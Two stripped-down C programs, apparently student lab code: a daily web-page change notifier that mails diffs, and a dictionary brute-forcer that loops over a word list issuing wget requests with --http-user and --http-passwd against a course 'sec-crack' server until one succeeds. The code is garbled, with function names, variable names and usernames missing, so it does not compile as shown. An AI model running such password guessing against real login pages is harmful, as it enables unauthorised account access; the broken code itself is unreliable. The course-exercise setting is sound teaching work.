# include <stdlib.h>
# include <stdio.h>
# include <strings.h>


int ()
{
	
	FILE* fpp;										
	FILE* fp;
			
	char s[100];
	int i;
	
	while(1)										
	{
		system("wget -nv http://www.cs.rmit.edu./students");				
		
		i=0;		
		
		fp = fopen("dummyindex.txt","r");
		
		if(fp == (FILE*) NULL)								
		{
			printf(" is  previously saved webpage in the file\n");
			i=1;
			fp = fopen("dummyindex.txt","w");

		}
				
		fclose(fp);
		
				
		
		
		
		system("diff index.html dummyindex.txt > compareoutput.txt");		

				
		if(fpp != (FILE*) NULL)	
		{
			
			fpp = fopen("compareoutput.txt","r");					
			
			fgets(s,100,fpp);							
			
			fclose(fpp);								
		
		
		   
			if((strlen(s)>0) && i==0)								
			{
				system("mail @cs.rmit.edu. < compareoutput.txt");	
				system("cp index.html dummyindex.txt");				
				printf("Message has been sent\n");				
			}
			else
				printf(" is  change in the \n");			
		}
		
		

		system("rm index.html")	;				
		
		sleep(86400);									
	}
				
	return 1;
}

#include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<ctype.h>
#include <sys/time.h>
#define OneBillion 1e9

int ()
{   int startTime, stopTime, final;
    int i,j,k;
    FILE* fp;
    int pass,len;
    int count = 0;
    char [50];
    char url1[100];
    char url2[100];

    startTime = time();
    fp = fopen("/usr/share/lib/dict/words","r");
    while (fp !='\0')
     {
       fgets( ,50,fp);

       len = strlen();
       [strlen()-1] ='\0';

       if(len <= 4)
       {
         count++;
	     printf("Checking for the word :%s\n",);
	     strcpy(url1 ,"wget --http-user= --http-passwd=");
	     strcat(url1,);
	     strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");
	     strcat(url1,url2);


	     pass = system(url1);
	    if (pass == 0)
	    {
	      stopTime = time();
          final = stopTime-startTime;
	      printf("\n SUCCESS\n");
	      printf("The password for the user  : %s\n ",);
	      printf("Found the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion);
	       printf("Number of attempts : %d\n",count);
          exit(1);
	 }
        }
       }

 }
